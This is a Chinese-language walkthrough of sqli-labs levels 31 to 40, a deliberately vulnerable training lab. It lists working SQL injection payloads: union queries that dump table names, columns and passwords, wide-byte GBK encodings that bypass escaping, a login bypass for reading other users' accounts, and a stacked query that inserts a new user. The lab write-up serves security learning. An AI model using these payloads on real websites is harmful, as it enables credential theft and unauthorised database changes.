sqli-labs-Less-31-Less-40
-
Less-31
详细步骤查看上一篇文章Less-29
这一关闭合为") ?id=-2") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- - 也可以是 ?id=1&id=-2") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- -
-
Less-32
输入1'后发现'被转义了,使得单引号不起作用 回显:Hint: The Query String you input is escaped as : 1\' 查看源码后发现数据库采用了使用了gbk编码,这里采用宽字节注入,即当某字 符的大小为一个字节时,称其字符为窄字节当某字符的大小为两个字节时,称其 字符为宽字节。所有英文默认占一个字节,汉字占两个字节。
输入?id=-1%E0%27报错,闭合为单引号
MySQL server version for the right syntax to use near ''-1�\'' LIMIT 0,1' at line 1 ?id=-1%E0%27 union select 1,database(),3 -- -
-
Less-33
与32题一样 宽字节注入 ?id=-1%E0%27 union select 1,database(),3 -- -
-
Less-34
这一关是POST型的注入,同样的将post传递过来的内容进行了转义处理,过滤 了单引号、反斜杠。有之前的例子我们可以看到%df可以将转义的反斜杠给吃 掉。而GET型的方式我们是以url形式提交的,因此数据会通过urlencode. 通过宽字节注入可以绕过addslashes()的过滤,确定了单引号闭合且无其他 过滤,剩下的同 POST 最基本注入。 uname=1%bb' or 1 limit 1,1-- -&passwd=1,其中更改limit参数可实现水平越权,获得其他用户账号密码,前几题也可这样。 但是在火狐浏览器插件中无法注入成功,打开bp后发现%被urlencode了,多了一个25,又产生一次变异,所以无法成功 uname=1%25bb'or 1 limit 1,1-- -&passwd=1&submit=Submit 后面使用联合注入即可
-
Less-35
输入1' 报错:MySQL server version for the right syntax to use near '\' LIMIT 0,1' at line 1 闭合为数字,'被转义当在后面爆列和字段的时候需要用到单引号,这时候将表名换成十六进制编码就行 ?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273-- -
-
Less-36
输入?id=1%bb’报错 闭合为单引号,且被转义 宽字节注入: ?id=-1%df' union select 1,group_concat(password,username),3 from users-- -
-
Less-37
本关闭合单引号,被转义使用宽字节注入 用火狐浏览器百分号被编码,bp抓包后修改 uname=1%BB%27&passwd=1&submit=Submit报错
联合注入见上
-
Less-38
这题单引号正常注入就可以 这题存在mysqli_multi_query函数,所以支持;分隔多条语句查询 ?id=1';insert into users(id,username,password) values ('88','less88','hello')-- - #向数据表插入自己的账户密码
-
Less-39
闭合为数字
正常注入
-
Less-40
输入1'报错,但是没有显示报错信息 输入1’)-- - 成功进入,闭合为') 采用联合注入